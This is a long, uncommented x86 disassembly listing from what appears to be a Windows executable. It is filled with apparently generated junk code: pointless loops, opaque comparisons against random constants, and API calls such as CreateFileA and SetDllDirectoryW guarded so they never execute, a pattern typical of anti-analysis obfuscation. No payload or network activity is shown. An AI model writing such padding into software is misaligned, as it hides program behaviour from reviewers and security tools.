mov dword [ebp - 0x24], 0
jmp 0x4a1898
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x4a18ae
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x910], 0xffffffff
jmp 0x4a1891
mov dword [ebp - 0x24], 0
jmp 0x4a18be
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x4a18d4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x20f4], 0x7b38eb16
jmp 0x4a18b7
mov dword [ebp - 0x24], 0
jmp 0x4a18e4
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x4a18fa
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2b88], 0xc5bff904
jmp 0x4a18dd
mov dword [ebp - 0x58], 2
jmp 0x4a190a
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jl 0x4a1a4c
mov dword [ebp - 0x9f0], 0xffffffff
mov dword [ebp - 0x950], 0x1ce3cb5a
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x910]
mov dword [ebp - 0x24a4], eax
mov eax, 0x6ba47c9d
cmp eax, 0xac12265e
je 0x4a1950
mov dword [ebp - 0xc78], 1
jmp 0x4a1957
and dword [ebp - 0xc78], 0
mov dword [ebp - 0x9f0], 0xde0980db
mov eax, dword [ebp - 0x58]
cmp dword [ebp + eax*4 - 0x910], 0
jne 0x4a1975
cmp dword [ebp - 0x9f0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x910]
cmp dword [ebp - 0x9f0], eax
jle 0x4a1996
mov dword [ebp - 0x18e4], 1
jmp 0x4a199d
and dword [ebp - 0x18e4], 0
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x18e4]
sub ecx, dword [ebp + eax*4 - 0x910]
cmp dword [ebp - 0xc78], ecx
jl 0x4a19c1
mov dword [ebp - 0x18ec], 1
jmp 0x4a19c8
and dword [ebp - 0x18ec], 0
mov eax, dword [ebp - 0x18ec]
mov dword [ebp - 0x950], eax
mov eax, dword [ebp - 0x950]
mov dword [ebp - 0x24ac], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x910]
mov dword [ebp - 0x24b4], eax
mov eax, dword [ebp - 0x950]
mov dword [ebp - 0x24bc], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x910]
mov dword [ebp - 0x24c4], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24cc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp + eax - 0x910]
mov dword [ebp + ecx*4 - 0x910], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x20f4], 0x380ee91b
mov dword [ebp - 0x4a4], 0x380ee91b
jmp 0x4a1903
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x20f4], 0
je 0x4a1bea
or eax, 0xffffffff
je 0x4a1a7a
cmp dword [ebp - 0x3a4], 0
je 0x4a1a7a
mov dword [ebp - 0xc80], 1
jmp 0x4a1a81
and dword [ebp - 0xc80], 0
cmp dword [ebp - 0xc80], 0x5af849fb
je 0x4a1a99
mov dword [ebp - 0x18f4], 1
jmp 0x4a1aa0
and dword [ebp - 0x18f4], 0
mov eax, dword [ebp - 0x3a4]
cmp eax, dword [ebp - 0x18f4]
jne 0x4a1aca
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20f4], 0
je 0x4a1aca
mov dword [ebp - 0xc88], 1
jmp 0x4a1ad1
and dword [ebp - 0xc88], 0
cmp dword [ebp - 0xc88], 2
jb 0x4a1ae6
mov dword [ebp - 0x18fc], 1
jmp 0x4a1aed
and dword [ebp - 0x18fc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x910]
cmp dword [ebp - 0x18fc], eax
jge 0x4a1b0d
mov dword [ebp - 0xa94], 1
jmp 0x4a1b14
and dword [ebp - 0xa94], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa94]
mov dword [ebp + eax - 0x20f4], ecx
cmp dword [ebp - 0xa94], 0
je 0x4a1b45
mov eax, 0x57ee
test eax, eax
je 0x4a1b45
mov dword [ebp - 0xc90], 1
jmp 0x4a1b4c
and dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0x3a4]
cmp dword [ebp - 0xc90], eax
je 0x4a1b67
xor eax, eax
jne 0x4a1b67
and dword [ebp - 0x1904], 0
jmp 0x4a1b71
mov dword [ebp - 0x1904], 1
cmp dword [ebp - 0x1904], 0x5407
jne 0x4a1b89
mov dword [ebp - 0xc98], 1
jmp 0x4a1b90
and dword [ebp - 0xc98], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x910]
add eax, dword [ebp - 0xc98]
mov dword [ebp - 0x58], eax
je 0x4a1bc3
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x910], 0
je 0x4a1bc3
mov dword [ebp - 0x190c], 1
jmp 0x4a1bca
and dword [ebp - 0x190c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x910]
cmp dword [ebp - 0x190c], eax
jl 0x4a1bea
mov dword [ebp - 0xca0], 1
jmp 0x4a1bf1
and dword [ebp - 0xca0], 0
imul eax, dword [ebp - 0xca0], 0xfffffff9
test eax, eax
jne 0x4a1c0e
cmp dword [ebp - 0x3a4], 0
jne 0x4a1c0e
and dword [ebp - 0x1914], 0
jmp 0x4a1c18
mov dword [ebp - 0x1914], 1
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0x1914], eax
jl 0x4a1c32
mov dword [ebp - 0xca8], 1
jmp 0x4a1c39
and dword [ebp - 0xca8], 0
cmp dword [ebp - 0xca8], 0xfffffff9
jl 0x4a1c4e
mov dword [ebp - 0x191c], 1
jmp 0x4a1c55
and dword [ebp - 0x191c], 0
mov eax, dword [ebp - 0x191c]
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x24d4], eax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x24dc], eax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0xcb0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcb0]
mov dword [ebp + eax - 0x2b88], ecx
mov eax, dword [ebp - 0x3a4]
cmp dword [ebp - 0xcb0], eax
jge 0x4a1cb2
mov dword [ebp - 0x1924], 1
jmp 0x4a1cb9
and dword [ebp - 0x1924], 0
mov eax, dword [ebp - 0x1924]
mov dword [ebp - 0x1f70], eax
mov dword [ebp - 0x1fa4], 0xc10977a1
mov dword [ebp - 0x920], 6
mov dword [ebp - 0x91c], 6
mov dword [ebp - 0x918], 6
mov dword [ebp - 0x914], 6
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0xcc8], 0
mov dword [ebp - 0x958], 0
mov dword [ebp - 0x610], 0
jmp 0x4a1d2e
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 4
jge 0x4a1d4a
mov eax, dword [ebp - 0x610]
mov dword [ebp + eax*4 - 0x2a94], 0xffffffff
jmp 0x4a1d21
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
mov dword [ebp - 0x24e4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
mov dword [ebp - 0x24ec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x920], 0
jle 0x4a1d8c
mov dword [ebp - 0xcb8], 1
jmp 0x4a1d93
and dword [ebp - 0xcb8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x920]
imul eax, dword [ebp - 0xcb8]
test eax, eax
jne 0x4a1dc3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x920], 0
jne 0x4a1dc3
and dword [ebp - 0x192c], 0
jmp 0x4a1dcd
mov dword [ebp - 0x192c], 1
cmp dword [ebp - 0x192c], 0xfffffffd
jne 0x4a1de2
mov dword [ebp - 0x1934], 1
jmp 0x4a1de9
and dword [ebp - 0x1934], 0
mov dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0xcc0], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xcc0]
mov dword [ebp + eax - 0x2a94], ecx
mov eax, dword [ebp - 0xcc0]
mov dword [ebp - 0xcc8], eax
imul eax, dword [ebp - 0x1934], 0xcf7d
cmp dword [ebp - 0xcc8], eax
jle 0x4a1e3b
mov dword [ebp - 0x193c], 1
jmp 0x4a1e42
and dword [ebp - 0x193c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x193c]
sub ecx, dword [ebp + eax - 0x920]
push 4
pop eax
shl eax, 1
imul ecx, dword [ebp + eax - 0x920]
push 4
pop eax
shl eax, 1
cmp ecx, dword [ebp + eax - 0x920]
jl 0x4a1e7c
mov dword [ebp - 0xcd0], 1
jmp 0x4a1e83
and dword [ebp - 0xcd0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
cmp dword [ebp - 0xcd0], eax
jl 0x4a1ea4
mov dword [ebp - 0x1944], 1
jmp 0x4a1eab
and dword [ebp - 0x1944], 0
cmp dword [ebp - 0x1944], 0xde81
jle 0x4a1ec9
cmp dword [ebp - 0x958], 0
jne 0x4a1ec9
and dword [ebp - 0xcd8], 0
jmp 0x4a1ed3
mov dword [ebp - 0xcd8], 1
mov eax, dword [ebp - 0x958]
cmp dword [ebp - 0xcd8], eax
jle 0x4a1eed
mov dword [ebp - 0x194c], 1
jmp 0x4a1ef4
and dword [ebp - 0x194c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
cmp dword [ebp - 0x194c], eax
je 0x4a1f15
mov dword [ebp - 0xce0], 1
jmp 0x4a1f1c
and dword [ebp - 0xce0], 0
cmp dword [ebp - 0xce0], 1
jne 0x4a1f32
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2a94], 0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x920], 0xb430
cmp eax, 9
jbe 0x4a1f54
mov dword [ebp - 0x1954], 1
jmp 0x4a1f5b
and dword [ebp - 0x1954], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x920]
sub ecx, dword [ebp - 0x1954]
imul eax, ecx
test eax, eax
jne 0x4a1f94
mov eax, 0xc8f9611c
test eax, eax
jne 0x4a1f94
and dword [ebp - 0xce8], 0
jmp 0x4a1f9e
mov dword [ebp - 0xce8], 1
mov eax, dword [ebp - 0xce8]
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x46c], 3
jmp 0x4a1fc3
mov eax, dword [ebp - 0x46c]
dec eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
jl 0x4a1fea
mov byte [ebp - 0x26b], 0
movzx eax, byte [ebp - 0x26b]
test eax, eax
je 0x4a1fe8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x4a1fb6
mov dword [ebp - 0x2f8], 0xfffffff7
mov dword [ebp - 0xbc], 0xa2fafd11
mov dword [ebp - 0x2f8], 0
jmp 0x4a2017
mov eax, dword [ebp - 0x2f8]
dec eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0xfffffffe
je 0x4a226e
mov dword [ebp - 0x1f78], 0x6158d32f
mov dword [ebp - 0x3ac], 0xad3b3152
mov dword [ebp - 0x41c], 0xfffffff6
mov dword [ebp - 0x798], 0
jmp 0x4a205b
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 3
jge 0x4a2077
mov eax, dword [ebp - 0x798]
mov dword [ebp + eax*4 - 0x277c], 0
jmp 0x4a204e
mov eax, dword [ebp - 0x1f78]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
je 0x4a21de
mov dword [ebp - 0x56c], 0xa9f8d19c
mov dword [ebp - 0x618], 0xfffffff7
mov byte [ebp - 0x2f1], 0
movzx eax, byte [ebp - 0x2f1]
test eax, eax
je 0x4a20d1
push 0
push 0x2529
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
cmp dword [ebp - 0xbc], 0
jne 0x4a20e4
cmp dword [ebp - 0x56c], 0x9a20
mov eax, dword [ebp - 0x3ac]
cmp dword [ebp - 0x56c], eax
jge 0x4a2104
mov eax, 0xffff
test eax, eax
jne 0x4a2104
and dword [ebp - 0x195c], 0
jmp 0x4a210e
mov dword [ebp - 0x195c], 1
mov eax, dword [ebp - 0x195c]
mov dword [ebp - 0x618], eax
mov eax, dword [ebp - 0x618]
add eax, dword [ebp - 0x56c]
cmp eax, dword [ebp - 0xbc]
jle 0x4a2143
cmp dword [ebp - 0x618], 0
je 0x4a2143
mov dword [ebp - 0xcf0], 1
jmp 0x4a214a
and dword [ebp - 0xcf0], 0
mov eax, dword [ebp - 0x56c]
cmp dword [ebp - 0xcf0], eax
jle 0x4a2164
mov dword [ebp - 0x1964], 1
jmp 0x4a216b
and dword [ebp - 0x1964], 0
cmp dword [ebp - 0x1964], 7
jge 0x4a2180
mov dword [ebp - 0x1f80], 1
jmp 0x4a2187
and dword [ebp - 0x1f80], 0
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0x24f4], eax
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x2f8]
cmp dword [ebp - 0xbc], eax
jge 0x4a21b9
mov dword [ebp - 0xcf8], 1
jmp 0x4a21c0
and dword [ebp - 0xcf8], 0
mov eax, dword [ebp - 0xcf8]
sub eax, dword [ebp - 0x41c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x277c], eax
jmp 0x4a2269
mov dword [ebp - 0x3ac], 0xffffffe7
jmp 0x4a21f7
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0x11
jne 0x4a2269
mov dword [ebp - 0x41c], 0
jmp 0x4a2219
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 3
jge 0x4a2235
mov eax, dword [ebp - 0x41c]
mov dword [ebp + eax*4 - 0x277c], 0xfffffffd
jmp 0x4a220c
mov byte [ebp - 0x26d], 0
movzx eax, byte [ebp - 0x26d]
test eax, eax
je 0x4a2267
push 0
push 0x1207
push 0x7b8
push 0
push 0x466
push 0x1d8a
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
jmp 0x4a21ea
jmp 0x4a200a
mov dword [ebp - 0xbc], 0
jmp 0x4a2287
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0xffffffed
jle 0x4a229d
cmp dword [ebp - 0x2f8], 0
je 0x4a229b
jmp 0x4a229d
jmp 0x4a227a
mov dword [ebp - 0x18], 0xe76f5020
mov dword [ebp - 0x9f8], 0xffffffff
mov dword [ebp - 0x24fc], 8
mov dword [ebp - 0x13c], 0
jmp 0x4a22d1
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 4
jge 0x4a22ed
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x1b90], 0xfffffffe
jmp 0x4a22c4
mov dword [ebp - 0x13c], 0
jmp 0x4a2306
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jge 0x4a2322
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x1ba8], 0xfffffff8
jmp 0x4a22f9
mov dword [ebp - 0x18], 0
jmp 0x4a2332
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jg 0x4a24d7
mov dword [ebp - 0xd00], 1
mov dword [ebp - 0x196c], 4
mov dword [ebp - 0x7a0], 0
jmp 0x4a2369
mov eax, dword [ebp - 0x7a0]
inc eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 1
jge 0x4a2385
mov eax, dword [ebp - 0x7a0]
mov dword [ebp + eax*4 - 0x1f94], 0xffff
jmp 0x4a235c
mov byte [ebp - 0x2b7], 0
movzx eax, byte [ebp - 0x2b7]
test eax, eax
je 0x4a239f
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x1b90], 0
je 0x4a23e9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b90]
mov dword [ebp - 0xd00], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1b90]
mov dword [ebp - 0x196c], eax
mov eax, dword [ebp - 0x196c]
cmp dword [ebp - 0xd00], eax
jge 0x4a23e9
and dword [ebp - 0xd10], 0
jmp 0x4a23f3
mov dword [ebp - 0xd10], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1b90]
cmp dword [ebp - 0x18], eax
jg 0x4a240e
mov dword [ebp - 0x1974], 1
jmp 0x4a2415
and dword [ebp - 0x1974], 0
mov eax, dword [ebp - 0x1974]
dec eax
cmp eax, 0xcc4b
jle 0x4a242f
mov dword [ebp - 0xd08], 1
jmp 0x4a2436
and dword [ebp - 0xd08], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0xd08]
jge 0x4a244d
mov dword [ebp - 0x197c], 1
jmp 0x4a2454
and dword [ebp - 0x197c], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1b90]
cmp dword [ebp - 0x197c], eax
je 0x4a2472
mov dword [ebp - 0x1984], 1
jmp 0x4a2479
and dword [ebp - 0x1984], 0
mov eax, dword [ebp - 0xd10]
cmp eax, dword [ebp - 0x1984]
jle 0x4a2493
mov dword [ebp - 0xd18], 1
jmp 0x4a249a
and dword [ebp - 0xd18], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1b90]
cmp dword [ebp - 0xd18], eax
jge 0x4a24b8
mov dword [ebp - 0x198c], 1
jmp 0x4a24bf
and dword [ebp - 0x198c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x198c]
mov dword [ebp + eax - 0x1f94], ecx
jmp 0x4a232b
mov dword [ebp - 0x18], 0
jmp 0x4a24e7
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jge 0x4a26b9
mov dword [ebp - 0x3b4], 0x3c3d2146
mov dword [ebp - 0x1f9c], 0xffffffff
mov eax, dword [ebp - 0x3b4]
neg eax
je 0x4a2593
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x2504], eax
mov eax, dword [ebp - 0x9f8]
add eax, dword [ebp - 0x3b4]
sub eax, dword [ebp - 0x3b4]
jne 0x4a2545
mov eax, 0x8a88acc1
test eax, eax
jne 0x4a2545
and dword [ebp - 0xd20], 0
jmp 0x4a254f
mov dword [ebp - 0xd20], 1
mov eax, dword [ebp - 0xd20]
add eax, 0x2ddfdaf0
cmp eax, dword [ebp - 0x18]
jne 0x4a256b
mov dword [ebp - 0x1994], 1
jmp 0x4a2572
and dword [ebp - 0x1994], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1994]
sub ecx, dword [ebp + eax - 0x1b90]
je 0x4a2593
mov dword [ebp - 0xd28], 1
jmp 0x4a259a
and dword [ebp - 0xd28], 0
mov eax, dword [ebp - 0xd28]
add eax, 0x4595a2e7
mov dword [ebp - 0x9f8], eax
mov eax, dword [ebp - 0x9f8]
sub eax, 0xe128
je 0x4a25cd
cmp dword [ebp - 0x3b4], 0
je 0x4a25cd
mov dword [ebp - 0x199c], 1
jmp 0x4a25d4
and dword [ebp - 0x199c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b90]
cmp dword [ebp - 0x199c], eax
jg 0x4a25f5
mov dword [ebp - 0xd30], 1
jmp 0x4a25fc
and dword [ebp - 0xd30], 0
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0xd30]
jg 0x4a2616
mov dword [ebp - 0x960], 1
jmp 0x4a261d
and dword [ebp - 0x960], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x960]
mov dword [ebp + eax - 0x1ba8], ecx
cmp dword [ebp - 0x960], 0
jne 0x4a2662
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1ba8], 0
jne 0x4a2662
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1b90], 0
jne 0x4a2662
and dword [ebp - 0x19a4], 0
jmp 0x4a266c
mov dword [ebp - 0x19a4], 1
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0x1f9c], eax
cmp dword [ebp - 0x18], 1
jle 0x4a2697
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1ba8], 0
jne 0x4a2697
and dword [ebp - 0xd38], 0
jmp 0x4a26a1
mov dword [ebp - 0xd38], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd38]
mov dword [ebp + eax - 0x1ba8], ecx
jmp 0x4a24e0
mov dword [ebp - 0x620], 0
jmp 0x4a26d2
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 4
jge 0x4a26ee
mov eax, dword [ebp - 0x620]
mov dword [ebp + eax*4 - 0x2da8], 0
jmp 0x4a26c5
mov dword [ebp - 0x300], 1
mov dword [ebp - 0x7a8], 0
jmp 0x4a2711
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 4
jge 0x4a272d
mov eax, dword [ebp - 0x7a8]
mov dword [ebp + eax*4 - 0x2a74], 0x29b
jmp 0x4a2704
mov dword [ebp - 0x300], 0x4e2db58e
mov dword [ebp - 0x300], 0
jmp 0x4a2750
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 3
jg 0x4a2840
mov dword [ebp - 0x628], 0xffffffff
mov dword [ebp - 0x628], 3
jmp 0x4a2780
mov eax, dword [ebp - 0x628]
dec eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
jl 0x4a283b
mov dword [ebp - 0x7b0], 0
jmp 0x4a27a6
mov eax, dword [ebp - 0x7b0]
inc eax
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 4
jge 0x4a27c2
mov eax, dword [ebp - 0x7b0]
mov dword [ebp + eax*4 - 0x2220], 0xfffffffe
jmp 0x4a2799
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2220], 3
jmp 0x4a27f0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2220]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2220], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2220], 0
jl 0x4a2836
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x300]
mov eax, dword [ebp + eax*4 - 0x2a74]
mov dword [ebp + ecx*4 - 0x2a74], eax
mov byte [ebp - 0x26f], 0
movzx eax, byte [ebp - 0x26f]
test eax, eax
je 0x4a2834
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x4a27d5
jmp 0x4a2773
jmp 0x4a2743
xor eax, eax
inc eax
je 0x4a284e
cmp dword [ebp - 0x20c], 0
jne 0x4a2860
cmp dword [ebp - 0x20c], 0
jne 0x4a2860
and dword [ebp - 0x19ac], 0
jmp 0x4a286a
mov dword [ebp - 0x19ac], 1
mov eax, dword [ebp - 0x19ac]
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x1fa4]
cmp dword [ebp - 0x20c], eax
jne 0x4a2890
mov dword [ebp - 0xd40], 1
jmp 0x4a2897
and dword [ebp - 0xd40], 0
mov eax, 0x185299da
sub eax, dword [ebp - 0xd40]
je 0x4a4035
mov dword [ebp - 0xe4], 0xb9f9b31
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x1fe4], 0xd6158f87
mov dword [ebp - 0x250c], 0x94fe874d
mov dword [ebp - 0xe4], 0xffffffee
jmp 0x4a28e9
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xffffffec
jle 0x4a2b61
mov dword [ebp - 0xc4], 0xf1bf506e
mov dword [ebp - 0x19c4], 0xffffffff
mov dword [ebp - 0xc4], 0xffffffe6
jmp 0x4a2923
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 9
jne 0x4a295b
mov dword [ebp - 0xa48], 0xe932
mov eax, dword [ebp - 0xa48]
dec eax
mov dword [ebp - 0xa48], eax
mov eax, dword [ebp - 0xa48]
mov dword [ebp - 0x2514], eax
mov dword [ebp - 0x454], 0xfffffff7
jmp 0x4a2916
cmp dword [ebp - 0xe4], 0
jne 0x4a2976
cmp dword [ebp - 0xc4], 0
jne 0x4a2976
and dword [ebp - 0x19b4], 0
jmp 0x4a2980
mov dword [ebp - 0x19b4], 1
mov eax, dword [ebp - 0x454]
cmp dword [ebp - 0x19b4], eax
jle 0x4a299a
mov dword [ebp - 0x19bc], 1
jmp 0x4a29a1
and dword [ebp - 0x19bc], 0
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x251c], eax
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x2524], eax
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0xe4], eax
jne 0x4a29eb
cmp dword [ebp - 0x19c4], 0
jne 0x4a29eb
cmp dword [ebp - 0xe4], 0
jne 0x4a29eb
cmp dword [ebp - 0xe4], 0
jne 0x4a29eb
and dword [ebp - 0xd48], 0
jmp 0x4a29f5
mov dword [ebp - 0xd48], 1
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0xd48], eax
jge 0x4a2a0f
mov dword [ebp - 0xd50], 1
jmp 0x4a2a16
and dword [ebp - 0xd50], 0
mov eax, dword [ebp - 0x19bc]
cmp eax, dword [ebp - 0xd50]
jge 0x4a2a30
mov dword [ebp - 0xd58], 1
jmp 0x4a2a37
and dword [ebp - 0xd58], 0
mov eax, dword [ebp - 0x19c4]
cmp dword [ebp - 0xd58], eax
jle 0x4a2a51
mov dword [ebp - 0x19cc], 1
jmp 0x4a2a58
and dword [ebp - 0x19cc], 0
cmp dword [ebp - 0x19cc], 0xfbf
jl 0x4a2a70
mov dword [ebp - 0xd60], 1
jmp 0x4a2a77
and dword [ebp - 0xd60], 0
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xd60]
jg 0x4a2a91
mov dword [ebp - 0x19d4], 1
jmp 0x4a2a98
and dword [ebp - 0x19d4], 0
mov eax, dword [ebp - 0x454]
cmp dword [ebp - 0x19d4], eax
jne 0x4a2ab9
push 4
pop eax
test eax, eax
jne 0x4a2ab9
mov dword [ebp - 0x1fac], 1
jmp 0x4a2ac0
and dword [ebp - 0x1fac], 0
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x252c], eax
cmp dword [ebp - 0x454], 0
jb 0x4a2ae1
mov dword [ebp - 0xd68], 1
jmp 0x4a2ae8
and dword [ebp - 0xd68], 0
cmp dword [ebp - 0xd68], 0x6658
jne 0x4a2b00
mov dword [ebp - 0x19dc], 1
jmp 0x4a2b07
and dword [ebp - 0x19dc], 0
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0x19dc], eax
jg 0x4a2b21
mov dword [ebp - 0xd70], 1
jmp 0x4a2b28
and dword [ebp - 0xd70], 0
mov eax, dword [ebp - 0xd70]
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 1
jle 0x4a2b49
mov dword [ebp - 0x19e4], 1
jmp 0x4a2b50
and dword [ebp - 0x19e4], 0
mov eax, dword [ebp - 0x19e4]
mov dword [ebp - 0x1fe4], eax
jmp 0x4a28dc
mov dword [ebp - 0x3bc], 0
mov dword [ebp - 0x4ac], 0x68ec0ae9
mov dword [ebp - 0x51c], 1
mov dword [ebp - 0x630], 0
jmp 0x4a2b98
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 2
jge 0x4a2bb4
mov eax, dword [ebp - 0x630]
mov dword [ebp + eax*4 - 0x1e5c], 0x41fc9a57
jmp 0x4a2b8b
mov dword [ebp - 0x4ac], 0xffffffef
jmp 0x4a2bcd
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 2
jge 0x4a2d9a
mov dword [ebp - 0x7b8], 0xf5cd53bc
mov dword [ebp - 0x968], 0x431fadac
mov dword [ebp - 0x1fec], 0x29a275ff
mov dword [ebp - 0x10c], 0
jmp 0x4a2c11
